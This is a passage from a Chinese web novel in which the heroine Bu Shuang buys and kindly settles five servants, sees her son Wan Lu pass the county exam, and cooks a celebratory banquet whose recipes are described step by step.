卜霜，赵昭明和张婶都忍不住也站了起来，从窗边放眼看去，整个镇子上的花灯，犹如繁星点点。 只有何喻昌坐在椅子上，不过他也是满脸陶醉着看着外面，那烟花把他的脸，照得一会儿红一会儿蓝：“真好看啊。” 此时所有人都在看着窗外。 “娘，你看那是什么？”万辽忽然指着一处大叫道。 卜霜一看，有两条长长的龙灯从街巷头游过来，在街心也就是酒楼下方停了下来舞动，街边的游客爆发出一阵阵的叫好声和掌声来。 那龙灯逼真的仿佛是两条真的游龙，搭配着在眼前盛放的烟花，镇上的气氛一时间热烈到了高潮。 “那是舞龙，每年元宵节灯会上这个时辰都会开始表演的，它会绕着镇上游走一圈，但是只有在这里才会停下来，而这家酒楼的二楼的这个方向，是看这舞龙的最好地方。” 何喻昌就解释道，语气间很是自傲。 卜霜这才知道为什么他们一进来，掌柜直接就把他们领来了此处。 何喻昌应该是早就定好了这个位置，故意卡好时间，把他们带过来看烟花和舞龙的。 “喻昌哥你可真会玩，在哪个地方看舞龙都被你找出经验了。”万辽很是开心的夸他。 大壮也一个劲儿的点头。 “你还别说，这么多年，我还是第一次这么清楚的看到舞龙。”赵昭明兴奋道。 她们几乎都挤到了窗边。 卜霜正看着窗外，忽然感觉手里被塞进了一个凉凉的东西。 她张开手掌，里面竟然是聂鸿轩收起来的那只白玉簪子。 她转头看向身旁的聂鸿轩，他也抬着头看着窗外，神情自若，好像那只白玉簪子不是他塞进来似的。 聂鸿轩感受到了卜霜的目光，但是他并没有看她，还是那个姿势，窗外天空的烟花在他好看清冷的眼中映出了明媚的色彩，他开口道：“送给你的，元宵快乐。” 卜霜眨了眨眼。 聂鸿轩之前把所有的彩头都送给她们了，唯独留下了这支簪子。 卜霜以为他是喜欢这支簪子的，所以才留下。 没想到他现在却把这支簪子送给了她。 一晚上收到了两件贵重的礼物。 这让卜霜一时间怀疑自己是不是在梦里。 怎么有钱人都是这么任性呢？ 这么好的东西，说送她就送她了。 聂鸿轩眼神略微有些暗淡，又补了一句。 “就像何公子送给你的那盏花灯一样。” 就像那只何喻昌送给她之后就一直被她珍惜爱护，好好提在手里的花灯，他也想要她能够这样珍视这支簪子。 甚至更多。 那舞龙在街心舞动了一会儿，然后就继续往远处走了。 非常多的烟火噼里啪啦的又在空中炸响，和着街道以及酒楼食客们的叫声，几乎什么都听不到。 聂鸿轩的这句话，就被淹没在人潮里。 卜霜没有听到。 过了元宵节，卜霜就开始忙起来了，香胰子作坊和牙刷牙粉作坊正式开工，卜记食铺也天天忙得不可开交。 除此之外，葡萄酒已经和何府达成合作，下个月就又要送一批新货过去。 何府的产业可和其他铺子不一样，需要的葡萄酒很多，这酿葡萄酒卜霜光靠自己是完不成的。 所以她准备再开一个葡萄酒做法。 万路，万絮，万辽，万萱，过了元宵节之后就去了观澜私塾，孩子们都开学了。 牙刷牙粉作坊现在暂时由赵昭明管事。 卜霜准备考察帮工几个月之后，再从里面再选出一个能用的当管事。 家里一天忙到晚，去了卜记食铺之后还要再研究做新菜品，卜记食铺的伙计也不够了。 而且之后她就准备联系牙侩去买地，之后的耕种也需要人。 卜霜实在是忙不过来，就准备去买几个下人。 她的产业越做越大，已经不能再随便招人了，还是买一些人回来用着更舒服。 想到这一步的时候，卜霜自己都有点震惊。 她没想到自己家如今已经做到了可以买下人伺候的程度。 卜霜这日在卜记食铺忙完之后，就进了牙行。 门口的伙计听说卜霜是来买人的，就客客气气的带着她到了一个专门交易人口的地方。 把她带到了一行人面前。 “夫人您看，这些人有男有女，都是手脚麻利，干活勤快的，之前他们都是大户人家的下人，这是原主家犯了事，他们就被遣散了，身家都很清白。” 卜霜就点了点头，然后一个一个问了这些人一些问题，大概了解了一下。 这些人里有三个男人，两个女人。 三个男人之前都做过护院，身强体壮的。 两个女人也都很年轻，之前是在大户人家里做丫鬟的，几乎什么活都会干。 卜霜很满意，最后就将这五个人全部买下来。 她把他们买下来带出牙行的第一步就是去药铺给他们把脉。 这些人以后就都是自己人了，作为他们以后的主家，她肯定先要给他们好好看看身体。 五个人都有一点受宠若惊。 他们做下人的哪里享受过这种待遇。 主家居然会带着他们来看病。 他们一时间也不敢相信，动都不敢动。 从药铺出来，卜霜就将他们先带去了卜记食铺，让他们熟悉一下这里的活，她也好观察一下把谁留在这里。 卜记食铺卖完东西后，卜霜就将他们带回了家。 五个人跟着卜霜一路到了村里，看到眼前这座精致的小宅子时，都有一些惊讶。 他们以前也是在大户人家里做活的，卜家这座宅子和他们之前主家的宅子比起来竟然也一点不差。 甚至更加的清雅。 他们现在这个主家明明是住在村子里，居然居然有这样的好宅子。 第115章 香菇鸡肉馅汤圆 卜霜带着五个人先进了宅子，转了一圈，然后又将他们带去了作坊，把帮工们都叫出来，让他们互相认识一下，以后这五个人要替她出去做不少事，总不能自家作坊里的帮工都不认识他们。 之后他又让帮工带着这五个人去熟悉了一下作坊。 快到晚上，他们几个就回了卜家。 正好万路他们几个也都回来了。 四个小崽子刚听说娘从镇上买了五个下人，跑过来看的时候。 就见这五个人对着万路，万絮，万辽，万萱扎扎实实行了个礼：喊道：“大公子，二小姐，三公子，四小姐好，见过四位小主子。” “哎哟。”他们五个这一声可把众人给吓了一跳。 “公子？”万辽不可思议地指着自己，“他们刚刚是这样叫我吗？” “二小姐。”万絮再一想就快要笑出来。 他们哪里被人这么叫过。 浑身都不自在。 卜霜也没拦着他们这样称呼万路他们，在牙行她刚开始把他们几个买下来时，五个人差点直接给她跪下。 吓得卜霜连忙把他们几个拉起来，再三和他们强调以后不需要跪，站着回话。 不知道他们几个以前在那些大户人家里做事时都是怎么过来的。 所以这次他们只是站着行礼，至于称呼什么的习惯习惯就好。 这一路过来，他们之间虽然不说有多熟悉，但是卜霜也看出来了，他们都是一些很听话的人。 万路他们现在都在，卜霜就要这五个人挨个介绍自己。 一个看着比较机灵的丫鬟，看着卜霜一直都很和善，状态缓过来一些，胆子也就大了一些。 “我叫小绿，她叫小青，我们之前是给同一个主家做事的，之前的主家犯了事，离开了这里，我们也就被遣散了，还好姑娘收留了我们。” 剩下的三个男人也分别介绍一下自己，他们的情况都差不多，主家一离开宅子一卖，里面的下人自然也都卖给了牙行。 见万路他们都记住了名字，卜霜就道。 “我们家的情况你们也都了解清楚了，我们是村里人，没有大户人家那么多的规矩，什么行礼啊之类的能省则省，你们进了我家，以后我们会把你当自己人一样来对待，只要做好自己的事情就行了，工钱吃食都不会亏了你的，只是有一点，不要偷奸耍滑，不要别有居心，看到了什么，听了到了什么都要保密，如果你们生出了二心，我也绝对不会轻饶你。” “听到了吗？” 卜霜这一番话说的既有威严又很严肃。 虽然在她心里觉得下人只是一个具有坚固雇佣关系的长工，不会不把他们不当人对待。 许多事情她也不会计较，但是该敲打的还是要敲打的。 五个人立刻应是。 他们之前称呼卜霜规规矩矩的喊夫人，卜霜后来就全部纠正过来，让他们喊她姑娘。 夫人这个称呼她听着太老气。 接下来，她就给五个人安排睡的房间了。 之前盖房子的时候，从来没有想过会买下人，所以也没有做客房。 只有一间放杂物的房子。 卜霜就把东西收拾出来，让三个男人住在那一间。 三个男人倒是安排好了，两个姑娘就有一点难办了。 宅子里实在是没有多余的房间了。 她想了想，暂时就把半路他们旁边的书房隔出来放了两张床，给小绿和小青暂时住着。 等之后她再叫上赵大哥，给多盖一间客房，再让小绿和小青住过去。 只不过最近万路他们就没有书房可以用了。 给他们安排好住的地方之后，卜霜这才觉得宅子里的人口一下子多了起来。 好在库房里还是有很多多余的新被褥的。 小丽和小青摸着床铺上崭新的被褥，那被褥面料柔软，上面还有绣花，看起来和小主子们用的被褥没有任何差别，她们不由的红了眼眶。 做下人这么多年，她们什么时候用过这么舒服的被褥？ 更何况是主家直接拿自己的东西给了她们。 这世上做丫鬟相思的各有各的苦，只有很少数的大户人家像卜霜所见过的何府那样，对下人宽容，和善待人，小丫鬟都可以和何喻昌三番五次的拌嘴。 大部分的大户人家都各有各的难伺候，规矩繁多，对下人不好，下人们吃不好穿不好，过得战战兢兢，再怎么用心伺候，随便就可以将他们打包卖掉。 所以小玉和小青此刻的内心都很动容，她们隐约觉得，卜家和她们以往的主家都不太一样。 三个男人也拥有了一间大大的卧房，心里同样很激动。 接下来卜霜就给每个人安排了差事。 小徐会做饭，做的还挺好，人又机灵，卜霜就让他去镇上的卜记食铺当伙计。 剩下的两个男人会功夫，卜霜就让他们先暂时做护院，教一教四个小崽子们一些自保的本领，等葡萄酒作坊和地买下来之后，再做其他安排。 小绿人机灵，又识字暂时负责从镇上采买家里每日需要的食材和各种物资，管理账册，然后再做一部分家里的杂事。 小青负责家里剩下的杂事。 他们先这样定下，后续再调整。 第二日几个人就开始拼命的干活，表现自己，遇到这么好的主家实在是太难得了，他们都尽力想多做一些事情。 所以卜霜他们一起床，就发现后牲口棚里都已经放满了饲料，那牛圈里的粪都被清理干净了，鸡都吃了米兔子都吃了草，连那鸡窝里的鸡蛋都整整齐齐地摆放在了厨房的缸子里。 再说那厨房被收拾的一尘不染，干净的都不敢下脚了，所有的食材都按照种类放好。 再等他们回到屋子里，桌子上已经摆好了热腾腾的早饭。 卜霜他们几个坐在桌子上吃着早饭的时候，嚼着那香喷喷的小米粥，觉得这样的日子简直太幸福了。 万辽呼噜噜的把一碗粥都喝干净，就高兴的笑道：“小绿小青姐姐，你们简直太厉害了。” 其他几个小崽子也紧跟着开始夸。 直把小绿和小青都夸的不好意思了，脸红红的，磕磕巴巴的道：“我们都没有做什么，公子和小姐们都不要再夸了。” 她们越是这样，万辽他们就越是要夸，不仅要夸，四个孩子还围着她们夸。 直接把她们两个夸的待不下去，跑了出去。 她们以前做同样的事情，可没见得会得来主家的一句赞赏。 谁想到有一天她们竟然会因为被主家夸赞的受不了而跑出去。 现在的主家一家人都是好人。 两个人越来越喜欢这个地方了。 却没想到了她们感动的事情还不止这些。 镇上布庄的伙计到了，他从牛车上取下来好几匹布料送了进来。 小青和小绿一开始还以为卜霜要给自己做衣服，没想到她却把其他人都召集过来。 让下人们都自己选喜欢的布料。 这些布料竟然是给她们准备的，所有人都不敢相信。 卜霜就道：“你们身上的衣服一看就是穿了好多年的了，这要想好好干活呢，首先就要吃得饱穿好，吃饱了有力气，穿的暖了才能保护好自己的身体，这些都是我提前和布庄老板商量好，让他们送过来的布料，你们任意选一匹自己喜欢的拿上，然后我让他们装些棉花，给你们做两身合适的棉衣穿。” 卜霜看到他们还都愣着不敢动，就笑道：“都愣着干嘛，快过来选啊。” 小绿和小青揪着自己短了半截的袖子，看看身上的补丁。 眼中终于忍不住涌出来了一点泪。 怕卜霜笑话，他们又硬生生的忍住了，抹了抹眼睛，磨磨蹭蹭的上前去选料子。 手掌触到那柔软细腻的布料时，他们还有点不敢相信。 姑娘居然看到了他们的衣服都不合身了，早早记在心里，在他们都不知道的时候去了一趟布庄，而且还舍得用这么好的料子给他们做衣服。 他们真的是跟对人了。 一时间五个人都在心里默默下定了决心，他们一定要好好的替姑娘做事。 那布庄的伙计见他们几个都选好了布料，就在他们身上比划了一下，然后就带着他们选好的布料回去了。 说是三天之后就能把做好的衣服送过来。 这样的日子又过去了几天，在五个人都拿到了自己心心念念的新衣服的当天，万路回来告诉卜霜一件事情。 “连先生说你可以去参加县试了？” 童试是科举的第一步，一共分为三场，分别是县试，府试，院试，全部通过之后，才可以变成秀才。 而过了府试之后就可以称童生。 万路点点头：“先生说以我的水平，可以参加县试了，县试过后再参加府试，过了童生之后再继续学一段时间去院试。” 连举人是一位很有学问的先生，他都说了万路可以，那说明万路一定可以，而且卜霜也很相信万路的水平。 她立刻就开始紧张起来，离县试只有短短一周的时间。 卜霜有好多要准备的东西。 首先县试要去县城里，一待就是好多天，那她总要去提前定一家离得近的客栈吧？ 到时去县试的学子那么多，如果过去没有了怎么办？ 所以卜霜第二日立刻就和万路一起去了县城，好在她们之前已经来过好多次县城了，所以还是对这里很熟悉的。 两人找到科考的地方然后在附近去寻找客栈。 附近倒是有许多家客栈，就是卜霜不是觉得环境不行，就是是觉得太吵，哪个都不满意。 “卜掌柜？”忽然后面传了一个声音叫她。 卜霜一掉头，原来是何大爷。 何大爷看到卜霜之后也很惊喜，他一开始只是觉得有一点像，原来真的是卜霜。何大爷问道：“何掌柜如今还没有到交货的时间呢，你怎么有空过来了？” 卜霜看到何大爷也笑着和他寒暄，随后就和他说了万路县试的事情：“我正在找客栈呢，但是这里的客栈都不太好，何大爷，你知道附近有什么好客栈吗？” “就这事儿呀，那你还找什么客栈呢，任何客栈住着都没有家里舒服，我看就这样吧，侄子县试那两天，你就带着侄子来我家里住，我家离这儿最近。”何大爷大手一挥，很爽快的道。 卜霜闻言一下子觉得他是个办法太好了，她居然都没有想到可以借住认识的人的家里几天。 “但是会不会太麻烦你了啊？”卜霜道。 “这有什么麻烦的，有参加县试的学子在我的家里住，这可是好事儿呀，哪有拒绝的道理呢？” 他说的也是实话，这个时代人们都很重视读书人，有读书人在家里住过牙行就是往出租房子也更好租一点。 卜霜就应下来了，接下来了何大爷又问过万路县试的时间，然后就拉着他们去自己的家里。 何大爷的宅院就在这地段最好的地方，靠近县学，县试时走不到一刻钟就能到。 而且宅子非常的大，环境优美，远离闹市，家里仆从无数，县试那几天，这简直是最好的地方。 何大爷带着他们俩参观过宅子之后，卜霜就带着万路在县城里又逛了逛。 万路要是通过县试，以后就要在这里读县学了。 这次逛了各种客栈，又去了何大爷家里之后，卜霜才突然意识到以后想要更好的供几个小崽子念书。 她要想办法在县城里买一套宅子才好，这样才能更好的照应到几个小崽子的生活。 如果她在县城里没有宅子的话，孩子们以后到了县学就要住在这里，一个月才能回去一次。 哪里都不如家里舒服。 所以卜霜就带着万路，在县城里逛逛那牙行里的宅子都是什么价，如果以后卜记食铺要开过来的话，那铺子又是怎么卖的。 这一逛就是一上午。 两个人都有些饿了，就随便找了一家食铺子吃饭。 吃饭的时候就发现这里的饭菜价格也要比镇上贵一些。 不愧是县城，从他们今日一路逛过来打听到的情况来看。 第116章 杂粮米饭 县城里的各方面价格都要比镇上贵。 看来要供四个小崽子们读书，她还是要赚更多的钱才行。 吃完饭后，卜霜就带着万路回了家。 一周转眼即到，到了县试这日，卜霜就提前带着万路收拾好行李，住进了何大爷的宅子里。 然后送了万路进了场，每日做各种营养又好吃的饭菜给回来的万路吃，这样几天之后。 他们终于可以回家了。 县试能不能通过要一周之后才可以知道。 正好一周之后香胰子作坊就要给芳华阁交货了，卜霜到时候可以跟着伙计们一起进县城去看。 而且何大爷也说会留心关注的。 回到家后，卜霜就叫来了赵石头他们几个工匠给宅子继续再盖几个客房。 她要赶快盖好客房之后，让小绿和小青住进去，把书房腾出来，孩子们要早早的用上书房。 多修几间是因为，如果她之后还要再买几个下人的话直接就有屋子可以住了。 还有那葡萄酒作坊，卜霜让赵石头他们先把客房盖好之后，再赶快去在两个作坊旁边再盖一个作坊。 作坊盖好之后，她就要赶快的去酝酿下一批的葡萄酒。 香胰子作坊给芳华阁交货那日，卜霜还在镇上卜记食铺里面忙，她赶紧收拾好之后就要赶回村子，和伙计们一起去县城城里交货。 结果还没等她出门，就看到赵昭明兴高采烈的跑了过来，边跑边喊：“卜妹妹，通过了，万路通过了。” 卜霜还在疑惑赵昭明这个时间怎么忽然跑到镇上来了，没有反应她话中的意思。 “什么通过了？” 赵昭明跑的气喘吁吁的，她一下了马车就立刻跑过来的，就为了第一时间把这个消息告诉卜霜。 “万路通过了，他通过县试了！” 卜霜一愣，随即快走几步，高高兴兴的拉住赵昭明的手。 “我还没有去县城里看呢，你是怎么知道的？” “那县城里来人了，说是芳华阁的东家叫何大爷的，给你带来了信，今早就通知下来，我们万路过了县试了。” 赵昭明上气不接下气，但是还是兴奋的道。 “万路呢？” “还在观澜私塾呢？”卜霜道。 “哎呦，咱俩还等着干嘛呢？快去把这个消息告诉他啊。”赵昭明急忙道，拉着卜霜就要走。 她的声音很大，又加上高兴，没控制嗓门，刚刚说的话食铺子周围的商铺和铺子里的食客都听到了。 附近的铺子掌柜都跑出来和卜霜道喜。 那铺子里的食客就议论到道。 “这万路是卜掌柜的大儿子吧，她说卜掌柜的儿子通过了县试？我没听错吧？” “这还能有假吗？你见她们都高兴成什么样了？” “哎呦那可了不得，卜家要出一个童生了。” “哪里就童生了，这只不过才过了县试，要过了府试之后才是童生呢？” “那也了不起啊，咱这镇上有几个过了县试的？” 卜霜和众人寒暄完，就和赵昭明一起去了观澜私塾。 一进门，大家伙都在。 连举人正在给万路他们一屋子的学子讲书。 一见到卜霜和赵昭明进来，再一看她们脸上的表情，就先笑了。 “通过了？”连举人问道。 “通过了。” 他们这没头没脑的一段话，屋子里正在听课的学子却都感觉到了些什么。 连举人把书放下，然后道：“万路。” 万路很淡定的站了起来。 “恭喜你，你通过府试了。” “啊！” “哇！” “通过了，通过了。” 连举人这话一说出来，屋子里立刻炸开了锅，所有学子们都从椅子上蹦了起来。 万能万絮和万萱更是激动的不行，嗷嗷的一声就扑了上去，使劲儿抱住了万路。 万辽还想把他抱起来，使了好大的劲儿，才发现他比万路个头矮，抱不动啊。 不过万辽不在意这些细节，又胳膊腿儿的都往万路身上挂，抱着他的脸就亲了一口。 万路含着笑，心情很好的擦掉脸上的口水，然后把万辽的脸推远了。 卜霜走到万路身前，然后摸了摸他的头。 “真厉害，娘就知道你可以的。” 全家人都激动的不得了，卜霜决定给把亲近的朋友都叫过来，为万路办一场宴席。 之所以没有大办，是因为万路没多久就要。 她先只叫着亲近的朋友为万路好好的庆祝一场，等他过后再大办。 一回到家，卜霜就让赵昭明去请人。 聂鸿轩和张婶自是不用提，赵石头和工匠们一定是要叫的，然后剩下的赵昭明去想。 然后卜霜就在厨房里忙活起来。 这次她准备做四道凉菜，分别是一道五香酱牛肉，凉拌山野菜，皮蛋豆腐，辣拌鸡丝 八道热菜，红烧大鲤鱼，黄焖土鸡，腊味合蒸，爆炒河虾，酱烧排骨，蒜蓉蒸南瓜，醋溜白菜，老鸭汤。 主食是掺了红薯、糙米的杂粮米饭。 然后再做一道红糖发糕。 第一道五香酱牛肉，这道菜醇厚入味，下酒绝配。 首先要准备牛腱子肉，带筋纹的最好，然后要用到酱油、料酒、八角、桂皮、香叶、花椒、姜片、冰糖。 还要用到平时做卤味的老卤汤。 卜霜先把牛肉整块泡冷水浸泡一会儿去血水，中途换一次水再浸泡，然后将牛肉冷水下锅加料酒、姜片大火煮开焯水之后，捞出洗净，用竹签在牛肉上扎一些小孔方便后续入味。 锅里放入油和冰糖，小火炒至焦糖色，然后立刻加一碗开水，搅匀成糖色水。 锅中放牛肉，老卤汤和清水没过牛肉，加入黄豆酱、生抽、老抽、糖色水、葱姜和香料包，香料包里放八角、桂皮、香叶、花椒、冰糖、姜片。 大火煮开转小火炖煮到筷子能够轻松插透牛肉块，然后让牛肉继续浸泡在卤汤里，更加入味后捞出来，切片时逆着牛肉的纹理，摆盘之后淋少许卤汁即可。 她又开始做第二道凉拌山野菜，这道菜清爽开胃。 食材要用到蕨菜、蒜末、辣椒油、香醋、盐、糖，醋，辣椒油和芝麻。 卜霜先将蕨菜洗净，她在锅里烧开山泉水，里面撒一把盐，将蕨菜倒入滚水中翻煮。 蕨菜入水后蜷曲的嫩芽舒展开，青碧色渐渐转深后捞出，然后立刻浸入凉水里，保住脆嫩。 蕨菜沥干，徒手撕成细条。 加蒜末、一勺酱油、半勺醋，再淋上现做的辣椒油，撒几粒盐。 把蕨菜在盆里颠拌几下，最后撒一把野芝麻，那酸辣就混着山野清气窜上来。 这凉拌山野菜做好了之后，卜霜继续开始做皮蛋豆腐，这道菜嫩滑鲜香，很适合作为夜西北的凉菜。 食材要用到皮蛋，新鲜嫩豆腐、皮蛋、酱油、香油、葱花，蒜末，香醋，辣椒油。 这腌皮蛋的时候，要用稻草灰和黄土裹蛋，再窖藏半月才能做好。 卜霜来不及腌皮蛋，这些皮蛋都是她回村的时候在镇上买的。 她将嫩豆腐热水烫一下，轻轻划成方片，摆入盘中。 烧一锅开水，加一撮盐，豆腐快速焯水捞出，这样可以去豆腥味，让豆腐口感更嫩。 然后开始处理皮蛋，她先把皮蛋外壳剥干净，然后用刀沾水切，不粘蛋黄，切成瓣。 摆盘时把皮蛋瓣围在豆腐边，或堆在豆腐上，蛋黄衬得豆腐雪白。 然后开始调酱汁，酱油，香醋，糖，蒜末，辣椒油，几滴香油，搅匀淋上，撒葱花撒一把香菜末，淋少许红油增香。 后面她就开始做辣拌鸡丝，这道菜香辣开胃。 食材要用到鸡胸肉、红油、花生碎、香菜、酱油、醋，大蒜，香葱，干辣椒。 卜霜首先在锅里加水，放入鸡肉，加姜和料酒去腥。 水开后转小火煮??鸡胸肉，用筷子能扎透即可。 煮好的鸡肉立刻泡进??冰水，这样能让肉质更紧实，手撕时不易碎。 她把晾凉的鸡肉用手撕成细丝，就开始调辣汁。 碗里放??蒜泥，辣椒面，葱花，泼一勺??热油激出香味，然后再加酱油、醋、糖、花椒油、盐??搅匀，尝一下调整咸淡，鸡丝倒入辣汁，撒上??花生米，抓拌均匀。 最后撒一把??香菜，就可以装盘上桌了。 四道凉菜全部做好后，卜霜开始做后面的八道热菜。 第一道是红烧大鲤鱼，这道菜酱香浓郁。 食材要准备鱼、葱姜蒜、干辣椒，花椒，酱油、糖、醋、料酒。 卜霜将鱼洗净斜切几刀，抹盐和酒腌着。 大铁锅烧热，挖一勺雪白猪油化开，油烟腾起时撒把盐。 她拎着鱼尾沿锅边滑入，“滋啦”一声响，鱼皮瞬间绷紧，煎到两面金黄。 余油爆香葱姜蒜、干辣椒，加两勺黄豆酱，炒出红油。 烹一勺醋，倒热水没过鱼身，扔几颗冰糖，再揪一把晒干的紫苏叶丢进去去腥提鲜。 大火滚开，转小火咕嘟，锅里“咕噜咕噜”冒泡，酱香混着鱼鲜往院子里飘。 汤汁收得浓稠时，撒一把大棚菜地里刚摘的青红椒圈和香菜，最后给浇上酱汁，滴两滴香油就做好了。 下一道菜是黄焖土鸡，这道菜鲜嫩下饭。 用到的食材有土鸡、干香菇、粉条、酱油、料酒，老姜，大蒜，干辣椒，冰糖。 首先要将鸡肉剁块焯水，干香菇泡发。 卜霜将鸡肉“哐哐”剁成块，冷水下锅，加姜片、黄酒煮沸，撇去浮沫。 然后铁锅烧热，挖一勺鸡油煸香，丢冰糖小火炒化，至琥珀色冒泡时，迅速倒入鸡块翻炒上色。 加入姜蒜、干辣椒爆香，淋酱油、黄酒呛锅，添热水没过鸡肉。 扔进泡发的香菇、栗子，盖木锅盖，柴火转中小火炖煮。 待鸡肉酥烂、栗子绵软时，加入红薯粉条吸汁，撒盐调味，最后撒一把青蒜苗提香。 热油炒香姜蒜，下鸡块煸炒至微黄，加酱油、料酒、香菇、水炖一会儿，加粉条再炖一会儿，收汁后撒上青蒜，这道黄焖土鸡就做好了。 下一道菜是腊味合蒸，这道菜做法简单但味道浓郁，适合待客。 用到的食材有腊肉、腊肠、腊鱼，配菜有干豆角土豆片，调料要用到姜丝蒜末，米酒，糖，香油。 卜霜先将腊肉、腊肠用温水刷洗干净，切成薄片，肥瘦相间的腊肉一切就冒出咸香。 腊鱼提前泡水去咸，撕成块。 干豆角提前泡软，铺在碗底。 然后摆盘蒸制，碗底先铺配菜，再交替摆腊肉、腊肠、腊鱼，红亮的腊肠、琥珀色的腊肉、金黄的腊鱼层层叠叠。 撒上姜丝、蒜末，淋一勺米酒去腥增香，半勺糖提鲜，上锅蒸，灶上雾气腾腾，酒香混着腊味窜进鼻子，腊味的咸香弥漫整个厨房。 出锅时把腊味倒扣进盘子，淋几滴香油，腊味合蒸油光润亮，腊肠片微微卷边，再撒一把葱花就做好了。 之后要做爆炒河虾，这道菜酥香鲜美。 食材要用到河虾、辣椒、蒜末、盐，酱油，料酒。 卜霜将河虾淘洗两遍，沥干水，带壳炒更酥香。 撒一小撮盐拌匀，腌片刻让虾肉紧实。 然后大铁锅烧到冒青烟，倒入一勺猪油，先下蒜末、干辣椒爆香，刺啦一声，配料爆香的刹那，灶房里腾起一股呛人的鲜香，虾壳在锅里炸得酥脆，混着猪油的荤香，香气扑鼻。 卜霜又倒入河虾，猛火快炒，虾壳迅速变红，噼啪作响。 她淋半勺料酒去腥，再撒点酱油提鲜，让那酱色裹住虾身。 再撒一把葱花，翻两下就可以了，炒久了虾肉会老。 装盘时爆炒河虾堆得高高的，那虾壳油亮红润，香气勾人。 后面要做的是酱烧排骨，这道菜酱香浓郁，软烂脱骨。 要用到的食材有猪排骨、豆瓣酱、冰糖、葱姜蒜，干辣椒，八角，桂皮。 卜霜将排骨剁大块，冷水下锅，加姜片、酒糟，土灶大火烧开。 水面浮起血沫时，撇净，捞出排骨用井水冲凉，让肋排肉更紧实。 铁锅烧热，挖一勺猪油化开，丢粗糖块小火慢熬。 糖浆变琥珀色时，快速倒入排骨翻炒，裹上糖色。 加葱段、蒜瓣、干辣椒爆香，舀三大勺黄豆酱炒出红油。 倒热水没过排骨，扔八角桂皮，添半碗米酒去腻增香。 再之后她盖上木锅盖，转灶膛余火炖煮。 炖到筷子能戳透肉时，掀盖大火收汁，这时酱汁咕嘟冒泡，油亮亮挂满排骨。 最后再撒一把后院掐的嫩葱花，这一道酱香排骨就可以热腾腾的端上桌了。 下面要做的是蒜蓉蒸南瓜，这道菜甜糯入味。 食材要用到老南瓜、蒜末、葱花，猪油，酱油。 南瓜不用去皮，蒸熟后也能吃，卜霜将南瓜洗净后切成大块，铺在蒸屉上。 然后把大蒜剥皮，做成粗粒蒜蓉。 锅里加一勺猪油烧热，倒入蒜蓉，炒至微黄出香味，加少许盐调味。 之后她将炒好的蒜蓉均匀铺在南瓜块上，大铁锅加水烧开，上汽后蒸一会儿，老南瓜蒸久更糯。 然后就可以出锅了，开盖撒一把新鲜葱花，淋半勺生抽提鲜，用碗盛出。 之后要做醋溜白菜，这道菜是一道很经典的家常菜，酸辣爽口。 食材要用到白菜、干辣椒、蒜瓣，醋、酱油，盐，糖，猪油。 卜霜将白菜掰开洗净，菜帮子用刀斜切片，这样更入味，菜叶子撕大片保持口感。 铁锅烧热，猪油化开，丢进干辣椒和蒜瓣，“滋啦”一声爆出香气。 下入白菜帮子，大火快炒到白菜帮边缘微透明，菜叶子丢进去翻两下，淋酱油、陈醋，沿锅边浇，醋香更浓，撒盐和糖，最后颠勺翻匀，酸辣味扑鼻，醋溜白菜就油亮亮地出锅了。 这最后一道菜是老鸭汤，这道菜原汁原味，滋补鲜美。 食材有老鸭、笋干、老姜，枸杞，盐，黄酒。 卜霜先处理鸭子，鸭子放血拔毛后，剁成大块，鸭油单独留下。 鸭肉冷水下锅，加姜片、黄酒，大火煮开焯水，汤锅咕嘟咕嘟冒泡，浮沫捞干净。 锅里放鸭油块，小火煸出油脂，捞出油渣。 卜霜用鸭油爆香姜片，再下焯好的鸭肉翻炒至微黄，铁锅铲叮当响，肉香四溢。 外面的客人已经来的差不多了，从厨房这香气飘满院子，馋了饿他们肚子咕咕叫，直流口水。 卜霜将鸭肉加满水，大火烧开炖煮。 放入笋干，笋干吸饱汤汁，炖一会儿。 出锅前撒枸杞、盐调味，此时的汤色已炖得奶白，鸭肉用筷子一戳就能脱骨。 所有的菜都已经做了出来，接下来她开始做主食了。 杂粮米饭香甜扎实，比白米饭更香更顶饱。 卜霜先将大米淘洗干净，糙米或玉米碴提前泡，红薯切小块。 然后她把所有粮食倒进铁锅，加水，水位高出米面一指节。 大火煮开，撇去浮沫。 小火焖煮，听到锅底“噼啪”响时就是水快干了，再用筷子在饭上戳几个气孔。 然后盖紧锅盖，用灶膛余温焖半刻钟就可以出锅了。 杂粮米饭用木铲翻松，米香混着杂粮的甜味扑鼻而来。 下面是一道点心，红糖发糕蓬松香甜。 食材要用到面粉、红糖、酵母，红枣。 卜霜先开始化糖水，她把红糖敲碎，加温水搅化。 然后面粉加酵母拌匀，倒入糖水，搅成浓稠糊状。 盖布放温暖处发酵，直到面糊体积膨大，开始冒小气泡。 蒸笼铺湿布，倒入面糊，撒红枣碎。 大火蒸一会儿，再焖一会儿。 红糖发糕就可以出锅了。 这样全部的菜就都做好了。 第117章 红糖糕 院子里，客人们都到齐了。 院子里挤满了人，大家聊天、笑闹，还有孩子们不时的叫声。 卜霜掀开厨房的帘子，朝外面喊：“菜都做好了，万絮、万辽、万萱你们几个快进来帮忙，可以开饭了。” 今天万路是主角，所以卜霜特意没让他干活。 大家都坐下了，看着一道道菜端上桌，香气扑鼻，眼睛都亮了。 先说那四盘凉菜，有五香酱牛肉、凉拌山野菜、皮蛋豆腐和辣拌鸡丝。 五香酱牛肉一掀锅盖，香味四溢，肉香和淡淡的甜味混合着。 吃起来咸鲜醇厚，酱香浓郁，还有八角、桂皮的香料味。 牛肉卤煮后表面微干，口感紧实有嚼劲，切片后纹理分明，咬下去弹牙，酱汁浸润每一丝肉缝。 凉拌山野菜脆嫩带点韧劲，咬下去有“咯吱”声，蒜末和辣椒油的香气混合，酸辣清爽，蒜香突出，辣椒油让舌尖微微发麻，越嚼越能尝到山野的清新。 皮蛋豆腐，皮蛋的碱香和豆腐的清淡完美结合，酱油的咸香混合香油，压住皮蛋的涩，留下满口鲜香。 辣拌鸡丝口感层次丰富，香、辣、鲜、酸、脆。 辣椒油混合芝麻和香料的焦香，一拌开红油香气就窜进鼻子，米醋的微酸能中和辣味，越吃越上瘾，生蒜末的辛辣感让味道更鲜。 土鸡肉煮得恰到好处，鸡丝柔嫩不柴，嚼着有弹性，花生碎脆脆的，香菜清新能解腻。 再说那八道主菜。 红烧大鲤鱼刚出锅时，酱色油亮的鱼身裹着浓稠的汤汁，热气混着葱姜蒜的辛香，红油和芝麻的焦香扑面而来，让人食欲大开。 